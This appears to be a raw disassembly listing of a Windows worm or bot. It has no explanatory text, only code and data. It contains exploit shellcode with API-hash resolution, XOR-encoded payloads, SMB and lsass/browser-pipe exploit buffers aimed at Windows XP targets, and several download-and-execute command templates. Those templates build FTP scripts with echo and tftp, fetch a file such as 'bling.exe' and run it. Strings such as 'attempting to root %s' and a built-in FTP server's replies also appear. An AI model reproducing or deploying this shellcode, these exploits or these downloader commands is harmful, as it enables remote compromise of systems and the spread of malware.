		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 3	dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 10h
dword_4284E0	dd 1004600h		; DATA XREF: sub_403249+140r
					; sub_403249+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
dword_428598	dd 0A0D7325h, 0		; DATA XREF: sub_4030E8+102o
					; sub_405144+DFo ...
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_4030E8+BEo
		db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4030E8+97o
; ---------------------------------------------------------------------------


loc_428620:				; DATA XREF: sub_403249+177o
		jmp	short loc_428628
; ---------------------------------------------------------------------------
		jmp	short loc_42862A
; ---------------------------------------------------------------------------
		align 8


loc_428628:				; CODE XREF: ___:loc_428620j
					; DATA XREF: sub_403249+27o
		pop	esp
		pop	esp


loc_42862A:				; CODE XREF: ___:00428622j
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_428634	dd 1CEC8166h		; DATA XREF: sub_403249+Dr
dword_428638	dd 0E4FF07h		; DATA XREF: sub_403249+16r
byte_42863C	db 90h			; DATA XREF: sub_403A90+B2o
		db 42h,	90h, 42h
		db 90h
		dd offset word_429042
		align 4
dword_428648	dd 10FF8h, 0		; DATA XREF: sub_403A90+6Ao
dword_428650	dd 10FF8h		; DATA XREF: sub_403A90+79o
dword_428654	dd 7FFDF020h, 0		; DATA XREF: sub_403A90+162o
dword_42865C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_403EBA+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4286E4	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_403EBA+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_428714	dd 0			; DATA XREF: sub_403EBA+44o
		dd 800000D4h, 0
unk_428720	db  81h	; 		; DATA XREF: sub_403F94+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_42876C	db 41h			; DATA XREF: sub_404032+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4287B0	proc near		; DATA XREF: ___:0040430Fo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_4288AC
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4288C2
		mov	[esi+8], eax
		call	sub_428875
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4288C2
		mov	[esi+0Ch], eax
		call	sub_428827
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4288C2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4287B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_428827	proc near		; CODE XREF: sub_4287B0+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_428850
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_428827	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428850	proc near		; CODE XREF: sub_428827+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_42885F:				; CODE XREF: sub_428850+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_42886C
		inc	ebx
		jmp	short loc_42885F
; ---------------------------------------------------------------------------


loc_42886C:				; CODE XREF: sub_428850+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_428850	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428875	proc near		; CODE XREF: sub_4287B0+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_42888D:				; CODE XREF: sub_428875+1Ej
		cmp	[ecx], ebx
		jz	short loc_428895
		mov	ecx, [ecx]
		jmp	short loc_42888D
; ---------------------------------------------------------------------------


loc_428895:				; CODE XREF: sub_428875+1Aj
		mov	edx, edi


loc_428897:				; CODE XREF: sub_428875+2Aj
		cmp	[edx+4], ebx
		jz	short loc_4288A1
		mov	edx, [edx+4]
		jmp	short loc_428897
; ---------------------------------------------------------------------------


loc_4288A1:				; CODE XREF: sub_428875+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_428875	endp


; =============== S U B	R O U T	I N E =======================================



sub_4288AC	proc near		; CODE XREF: sub_4287B0+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_4288AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4288C2	proc near		; CODE XREF: sub_4287B0+16p
					; sub_4287B0+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4288D8:				; CODE XREF: sub_4288C2+33j
		jecxz	short loc_428912
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4288E5:				; CODE XREF: sub_4288C2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4288F1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4288E5
; ---------------------------------------------------------------------------


loc_4288F1:				; CODE XREF: sub_4288C2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4288D8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_428912:				; CODE XREF: sub_4288C2:loc_4288D8j
					; sub_4288C2:loc_428912j
		jmp	short loc_428912
sub_4288C2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_428918	proc near		; DATA XREF: ___:004042BFo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_42896A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_428935:				; CODE XREF: sub_428918+38j
		jecxz	short loc_428965
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_428940:				; CODE XREF: sub_428918+32j
		lodsb
		test	al, al
		jz	short loc_42894C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_428940
; ---------------------------------------------------------------------------


loc_42894C:				; CODE XREF: sub_428918+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_428935
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_428965:				; CODE XREF: sub_428918:loc_428935j
		mov	[esp+arg_0], ebx
		retn
sub_428918	endp


; =============== S U B	R O U T	I N E =======================================



sub_42896A	proc near		; CODE XREF: sub_428918+7p

; FUNCTION CHUNK AT 004289A2 SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_428983
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_42898E
; ---------------------------------------------------------------------------


loc_428983:				; CODE XREF: sub_42896A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_42898E:				; CODE XREF: sub_42896A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_4289A2
sub_42896A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428995	proc near		; CODE XREF: sub_42896A:loc_4289A2p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_428995	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42896A


loc_4289A2:				; CODE XREF: sub_42896A+29j
		call	sub_428995


loc_4289A7:				; DATA XREF: sub_403A35+1Bo
					; sub_40EE72+822o
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_42896A
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_4289AC	dd 60h			; DATA XREF: sub_403A90+320o
dword_4289B0	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_403A90+2F5o
dword_4289BC	dd 30h			; DATA XREF: sub_403A90+2CAo
					; ___:0042FA1Co
dword_4289C0	dd 0A1h			; DATA XREF: sub_403A90+29Fo
dword_4289C4	dd 3			; DATA XREF: sub_403A90+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_403A90+153o
		align 10h


loc_4289D0:				; DATA XREF: sub_403A90+E8o
		jmp	short near ptr dword_4289D8
; ---------------------------------------------------------------------------
		align 8
dword_4289D8	dd 0			; CODE XREF: ___:loc_4289D0j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: ___:004042E4o
					; sub_404F9A+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_428A50	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:00404BFFo
; ---------------------------------------------------------------------------


loc_428A5C:				; CODE XREF: ___:00428A66j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_428A5C
		inc	edi
		jz	short loc_428AA3
		and	eax, 952CE753h
		inc	esp
		jle	short loc_428ACB
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_428AA3:				; CODE XREF: ___:00428A69j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_428B02+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_428AC8:				; CODE XREF: ___:00428AF5j
		xor	[esi-25h], bl


loc_428ACB:				; CODE XREF: ___:00428A71j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_428AE4:				; CODE XREF: ___:00428B17j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_428AC8
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_428B02:				; CODE XREF: ___:00428AA9j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_428B8E
		jo	short loc_428AE4
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_428B25+1
		add	bl, [edi]


loc_428B25:				; CODE XREF: ___:00428B21j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_428B3A+2
		cmp	ch, bh
		dec	edx


loc_428B3A:				; CODE XREF: ___:00428B35j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_428B8E:				; CODE XREF: ___:00428B15j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_428C14
		sub	al, 0BCh
		jmp	near ptr 54448F82h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_428BB0	dd 0EFFFC481h, 44FFFFh,	428BFCh	; DATA XREF: ___:00404BE6o
dword_428BBC	dd 42Ah			; DATA XREF: ___:00404B99r
dword_428BC0	dd 3E8h			; DATA XREF: ___:00404C0Ar
dword_428BC4	dd 258h			; DATA XREF: ___:00404BDCr
byte_428BC8	db 0			; DATA XREF: ___:00404B45r
					; ___:00404C13r
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_428BE0	dd 20804h		; DATA XREF: sub_404853r ___:00404C31o ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00428BCCo
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_428C14:				; CODE XREF: ___:00428B98j
		push	eax
		xor	al, 29h


loc_428C17:				; DATA XREF: ___:00404B6Do
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_428C20	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:00404A9Do
dword_428C34	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:00404A41o
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:004049D0o
		align 4
a_:					; DATA XREF: sub_406387+252o
		unicode	0, <.>,0
dword_428C60	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: ___:004050E2o
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 2Dh	dup(64646464h)
		db 2 dup(64h)
word_429042	dw 6464h		; DATA XREF: ___:00428641o
		dd 11h dup(64646464h), 1016464h, 40h dup(65656565h), 66010165h
		dd 40h dup(66666666h), 67670101h, 3Fh dup(67676767h), 1676767h
		dd 68686801h, 3Fh dup(68686868h), 1016868h, 40h	dup(69696969h)
		dd 6A010169h, 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh)
		dd 16B6B6Bh, 6C6C6C01h,	8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh
		dd 6D6D501Eh, 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h
		dd 83877FD9h, 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h
		dd 0C2F4FDECh, 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h
		dd 86F4ED43h, 1EBFE826h, 0F3BF5D64h, 8AB518CFh,	73941BC9h
		dd 0AF5B8DF3h, 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h
		dd 0EF4F5CBh, 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h
		dd 0C7F474D4h, 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh
		dd 0B50CAEA0h, 57808D97h, 7B9212A0h, 518089F3h,	0E19A5097h
		dd 85773449h, 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh
		dd 0D43C8A9Bh, 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh
		dd 78281EB8h, 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh
		dd 0EFAF269Dh, 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h
		dd 0D0061FB1h, 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h
		dd 0EB3F091h, 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h,	14539B36h
		dd 2C47A345h, 0F5177263h, 78696A36h, 51809DBDh,	0D62D8E93h
		dd 86158899h, 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h
		dd 5780EE37h, 4838E43h,	5180BD0Ch, 0EFAF269Ah, 0D87B5338h
		dd 78A9269Bh, 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4


loc_429E74:				; DATA XREF: ___:00405319o
		add	al, 54h
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax


loc_429E92:				; CODE XREF: ___:00429EE2j
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		fmul	st(1), st
		mov	al, 42h
		jmp	short loc_429EE9
; ---------------------------------------------------------------------------
		dec	edx
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		and	[ecx], eax
		jo	short loc_429E92
		inc	edx
		add	[eax-52h], esi
		inc	edx


loc_429EE9:				; CODE XREF: ___:00429ED9j
		mov	edi, esp
		add	edi, 2Ch
		sub	sp, 204h
		xor	ecx, ecx
		mov	dl, 35h
		add	cx, 138h


loc_429EFC:				; CODE XREF: ___:00429F03j
		mov	bl, [edi]
		xor	bl, dl
		mov	[edi], bl
		inc	edi
		loop	loc_429EFC
		ficom	word ptr [esi]
		dec	edi
		pop	esp
		aaa
		xor	[ecx+6Ch], bl
		int	28h		; DOS 2+ internal - KEYBOARD BUSY LOOP
		test	eax, 79E4B9EBh
		inc	ebp
		loope	loc_429F4D
		lds	edx, [edx]
		adc	eax, 623D0515h
		db	66h
		pop	es
		push	6
		pop	es
		assume es:nothing
		sbb	esi, [ecx+79h]
		jns	short near ptr loc_429F59+3
		fidiv	word ptr [eax]
		fxch4	st(4)
		retf	0CACAh
; ---------------------------------------------------------------------------
		db 68h
		dd 5F1FD8B6h, 0BE516C05h, 3975BE34h, 982945BEh,	0B83D4DBEh
		dd 2EBE096Ah, 6EBECE34h
; ---------------------------------------------------------------------------
		dec	ebp


loc_429F4D:				; CODE XREF: ___:00429F15j
		xor	al, 0CEh
		mov	esi, 0CC34297Eh
		mov	esi, 0CF341166h


loc_429F59:				; CODE XREF: ___:00429F26j
		db	64h, 67h
		mov	si, 156Eh
		xor	al, 0CEh
		add	al, 0FCh
		jz	short near ptr loc_429F67+2
		cmc
		lodsb


loc_429F67:				; CODE XREF: ___:00429F63j
		mov	esi, 0CB34BE01h
		cdq
		add	al, 0F7h
		in	al, 0D7h
		mov	cl, 0F5h
		inc	eax
		retn	833Ah
; ---------------------------------------------------------------------------
		db 70h
		dd 7071B830h, 250C5331h, 453D440h, 6B6D6F25h, 1E676563h
		dd 3A74257Bh, 0BE7F3982h, 0CD34BD31h, 3078833Ah, 0EDB871BCh
		dd 403078CBh, 3178CB8Bh, 78CB1441h, 2D68B817h, 0BCE5CA66h
		dd 6D315FF2h, 0B53070BDh, 0B83F4270h, 5EB54168h, 4DDC2113h
		dd 0BCCACACAh, 66EE04FBh, 63666666h, 0E5CA6373h, 536D60A2h
		dd 255F05BCh, 60CA6260h, 62637BE1h, 66F960CAh, 60CA6260h
		dd 70B8A2E5h, 60CA65BDh, 0CA6060D1h, 71B8DD60h,	66A13930h
		dd 4D501B5Dh, 56695D50h, 4A15158h, 0F970B8E7h, 626262A1h
		dd 0F3CB6666h, 0A167C734h, 654D70B8h, 65BD70B8h, 66663D84h
		dd 0FBCB255Fh, 66666667h, 0D960CA60h, 60CACA5Fh, 0D5h
word_42A040	dw 7A69h		; DATA XREF: sub_405144+30r
		align 4
aEchoOpenSDOE_0	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_405144+97o
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 10h
unk_42A0B0	db    2			; DATA XREF: ___:00405367o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 25h,	73h, 2Eh
		db  65h	; e
		db 1Fh,	78h, 1Fh
		db  70h	; p
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aAttemptingToRo	db 'attempting to root %s',0
		align 10h
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_4053D5+5D0o
aQuit		db 'QUIT',0             ; DATA XREF: sub_4053D5+5BCo
					; sub_40EE72+537o
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_4053D5+5AFo
		align 4
unk_42A128	db    3			; DATA XREF: sub_4053D5+564o
		db 33h,	6Eh, 2
		db  7Ah	; z
		db 1Fh,	6Dh, 1Fh
		db  20h
		db 28h,	66h, 74h
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	3, 34h
aSPortDNowExecu	db '  %s, port:%d now executing %s on remote ABOSAL7.',0
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4053D5+545o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_4053D5+519o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_4053D5+501o
		align 10h
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4053D5+4ECo
		align 10h
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_4053D5+4DBo
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_4053D5+4A8o
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4053D5+464o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_4053D5+42Bo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4053D5+3FDo
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_4053D5+3EAo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_4053D5+3AFo
		align 10h
aPasv		db 'PASV',0             ; DATA XREF: sub_4053D5+39Co
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4053D5+38Co
aI:					; DATA XREF: sub_4053D5+378o
		unicode	0, <I>,0
